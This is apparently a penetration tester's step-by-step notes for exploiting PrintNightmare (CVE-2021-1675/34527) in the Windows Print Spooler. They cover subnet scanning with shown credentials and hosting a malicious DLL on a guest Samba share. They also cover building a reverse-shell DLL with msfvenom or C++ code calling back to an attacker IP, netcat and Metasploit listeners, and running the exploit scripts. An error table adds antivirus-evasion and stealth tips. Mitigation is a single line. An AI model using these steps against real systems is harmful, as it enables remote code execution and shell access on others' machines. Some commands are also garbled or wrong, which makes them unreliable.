CVE-2021-34527


PrintNightmare (CVE-2021-1675): Remote code execution in Windows Spooler Service

Visual demo of PrintNightmare by Benjamin Delpy files

Requirements

A user account. (privs don’t matter)

Scanner - It Was All A Dream

A CVE-2021-34527 (a.k.a PrintNightmare) Python Scanner. Allows you to scan entire subnets for the PrintNightmare RCE (not the LPE) and generates a CSV report with the results. Tests exploitability over MS-PAR and MS-RPRN.

This tool has “de-fanged” versions of the Python exploits, it does not actually exploit the hosts however it does use the same vulnerable RPC calls used during exploitation to determine if hosts are vulnerable.

Github.com - byt3bl33d3r - ItWasAllADream

Docker

git clone https://github.com/byt3bl33d3r/ItWasAllADream
cd ItWasAllADream && docker build -t itwasalladream .
docker run -it itwasalladream -u user -p password -d domain 192.168.1.0/24

Poetry

git clone https://github.com/byt3bl33d3r/ItWasAllADream
cd ItWasAllADream && poetry install && poetry shell
itwasalladream -u user -p password -d domain 192.168.1.0/24

Scanner example (docker)

$ sudo docker run -it itwasalladream -u johndo -p Welkom1234 -d domain 10.10.10.10
[itwasalladream] INFO - 10.10.10.10 is not vulnerable over MS-RPRN. Reason: RPC call returned access denied. This is usually an indication the host has been patched.
[itwasalladream] INFO - 0
[itwasalladream] INFO - completed: 100.00% (1/1)
[itwasalladream] INFO - 0
[itwasalladream] INFO - completed: 100.00% (1/1)
[itwasalladream] INFO - 10.10.10.10 is vulnerable over MS-PAR. Reason: Host attempted to grab DLL from supplied share
$ sudo docker run -it itwasalladream -u johndo -p Welkom1234 -d domain 10.10.10.10
[itwasalladream] INFO - 10.10.10.10 is not vulnerable over MS-PAR. Reason: Print Spooler service is not running or inbound remote printing is disabled.
[itwasalladream] INFO - 10.10.10.10 is not vulnerable over MS-RPRN. Reason: Print Spooler service is not running or inbound remote printing is disabled.

Scanner example (poetry)

itwasalladream -u johndo -p Welkom1234 -d domain 10.10.10.10
[itwasalladream] INFO - 10.10.10.10 is not vulnerable over MS-PAR. Reason: Print Spooler service is not running or inbound remote printing is disabled.
[itwasalladream] INFO - 10.10.10.10 is not vulnerable over MS-RPRN. Reason: Print Spooler service is not running or inbound remote printing is disabled.

RPC Dump

If you can reach these RPC interfaces you might be able to use printnightmare.

rpcdump.py @ip | egrep 'MS-RPRN|MS-PAR'

Setup tool for remote RCE (cube0x0)

Ensure you have a impacket version that has this PR merged.

mkdir printnightmare
cd printnightmare
mkdir payloads
git clone https://github.com/justin-p/CVE-2021-1675

Then if you are lazy just use the Taskfile included in the repo.

task payload_folder
task printnightmare_samba_share

To restore the smb.conf and stop the service run

task restore_samba

Otherwise use the steps below

Host Dll

Make a backup of your smb.conf

sudo cp /etc/samba/smb.conf etc/samba/smb.conf.bak

Overwite the file with the following content

[global]
    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445

[smb]
    comment = Samba
    path = /home/user/Documents/printnightmare/payloads/
    guest ok = yes
    read only = no
    browsable = yes
    force user = nobody

Ensure the files are owned by nobody

sudo chown nobody:user -R /home/user/Documents/printnightmare/payloads/
sudo chmod -R 777 /home/user/Documents/printnightmare/payloads/

Restart the smbd service

sudo service smbd restart
Warning

Don’t forget to restore the SMB config and disable the service :)

sudo cp /etc/samba/smb.conf etc/samba/smb.conf.bak
sudo service smbd stop

Outflanks implementation

https://github.com/outflanknl/PrintNightmare

Did not test this yet. But seems ‘better’ then the cube0x0 implementation

Create DLL

MSVenom if you think AV is not a problem. Otherwise build something custom.

MSFVenom

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=<YOUR IP> LPORT=<PORT TO LISTEN> -f dll -o /home/user/Documents/printnightmare/payloads/rev.dll

Custom simple C++ reverse shell example

  1. Install C++ tools in visual studio.

  2. Create new project with Dynamic-Link Libary template.

  3. Download the plain_revshell.cpp file and paste the content into the existing template.

  4. Update the RHOST & RPORT on StartCallback

  5. Build the release (ctrl+shift+b)

  6. Place the DLL in the payloads folder

Attachments
BOOL WINAPI DllMain(HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    switch (dwReason) {
    case DLL_PROCESS_ATTACH:
        StartCallback("172.16.0.137", 80); // <- update this

Usage

python3 [MSPAR|MSRPRN|MSRPRN_nobrute].py 'domain/user:pass@ip' PrinterName '\\IP_of_SMB_share\share\printer.dll'

There are 3 different version. All versions have been updated to support a custom driver/printername.

Version Info When to use
MSPAR Abuses MSPAR When ItWasAllADream says its vulnerable
MSRPRN Abuses MSRPRN When ItWasAllADream says its vulnerable
MSRPRN_nobrute Abuses MSRPRN but does not brute force driver folders, see this pull When ItWasAllADream says its vulnerable but it does not seem to work and you tried everything listed in Errors & tips
Warning

Do note that MSRPRN_nobrute is more ‘stealthy’ (in the sense that there is less activity on disk) but less forgiving. Each run of the exploit needs a new printer name and dll name if they have not been removed.

Errors & tips

Error Solution
DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied permissions on the file in the SMB share
RPRN SessionError: unknown error code: 0x180 Enable SMB2Support
RPRN SessionError: code: 0x2: - ERROR_FILE_NOT_FOUND - The system cannot fil the file specified. Typo in supplied DLL ?
RPRN SessionError: code: 0xd8 - ERROR_EXE_MACHINE_TYPE_MISMATCH DLL is kaduk or wrong architect (x86 vs x64)
RPRN SessionError: code 0xe1 - ERROR_VIRUS_INFECTED AV caught you butt, try harder
RPRN SessionError: Unknown error code: 0x8001011b Seems like the host is patched
RPRN SessionError: code: 0x43 ERROR_BAD_NET_NAME Wrong share name used in printnightmare or typo in samba config
SMB SessionError: STATUS_PIPE_BROKEN Print spooler service crashed during payload execution. Restart the spooler if you got a shell (PowerShell -> Restart-Service spooler. CMD -> net stop spooler && net start spooler)
After killing the session the payload does not work a second time Always ensure the first thing you do is restart the spooler service upon a shell connect. If you did this, use a different printername. Otherwise ur fuk’d
Sometimes when removing the print drivers the dll will execute again. This means your payload will run again. Nothing, just something to be aware of if you use a payload that adds a user or w.e.

Check if system reaches out

By simply trying to connect to a nc instance we can verify that the system can reach our smb server.

Start nc on 445.

sudo nv -nlvp 445

Run MSRPRN_nobrute and try to connect to nc.

python3 MSRPRN_nobrute.py 'user:pass@ip' PrinterName '\\IP_of_SMB_share\share\printer.dll'

test_if_system_reaches_out test_if_system_reaches_out

Exploit

Warning

Depending on the dll you use/actions you preform the the spooler services can crashes/hangs. From my experience in these cases you wont be able to run printnightmare a second time if you did not restart the spooler service before hand. A way around this might be to follow the Outflank advice to use printnightmare to load a DLL that starts a second thread/process with a new DLL that contains the actual RCE/w.e. payload.

Setup a listener

Netcat

nc -nlvp 80

MSF multi handler

msfconsole -x "use exploit/multi/handler;\
set payload generic/shell_reverse_tcp;\
set LHOST 172.16.0.137;\
set LPORT 80;\
set ExitOnSession false;\
run -j"

Run printnightmare

python3 [MSPAR|MSRPRN|MSRPRN_nobrute].py  'domain/user:pass@ip' PrinterName '\\IP_of_SMB_share\share\printer.dll'
Warning

From my experience the Spooler services sometimes crashes/hangs and you wont be able to run printnightmare a second time if you don’t restart the spooler service. If you don’t spawn a new process in the DLL ensure that the first thing you do is restart the spooler service.

net stop spooler && net start spooler

Run Run

Cleanup

PowerShell

Load PrintManagement PS Module (should be loaded by default on W10)

Import-Module PrintManagement

List current print drivers

Get-PrinterDriver

Remove print drivers

Get-PrinterDriver -Name PrinterName

Oneliner

Watch out, Where-Object uses Wildcards to get both drivers that get installed (PrinterName0, PrinterName1). Also, make sure to update the dllname.dll in the Get-Item action.

Restart-Service Spooler;Import-Module PrintManagement;Get-PrinterDriver | Where-Object {$_.Name -like "*PrinterName*"} | Remove-PrinterDriver;Stop-Service spooler;Start-Sleep -s 2;Get-Item 'C:\windows\system32\spool\drivers\x64\3\New\','C:\windows\system32\spool\drivers\x64\3\Old\','C:\windows\system32\spool\drivers\x64\3\dllname.dll' -ErrorAction SilentlyContinue | Remove-Item;Start-Service spooler;Start-Sleep -s 2;Get-PrinterDriver
Info

Error HRESULT 0x800706be on Remove-PrintDriver can happen. This is due the print spooler crashing.

Mitigation

Method Fix
RCE MSRPRN Update Windows
RCE MSPAR Update Windows
LPE Not tested yet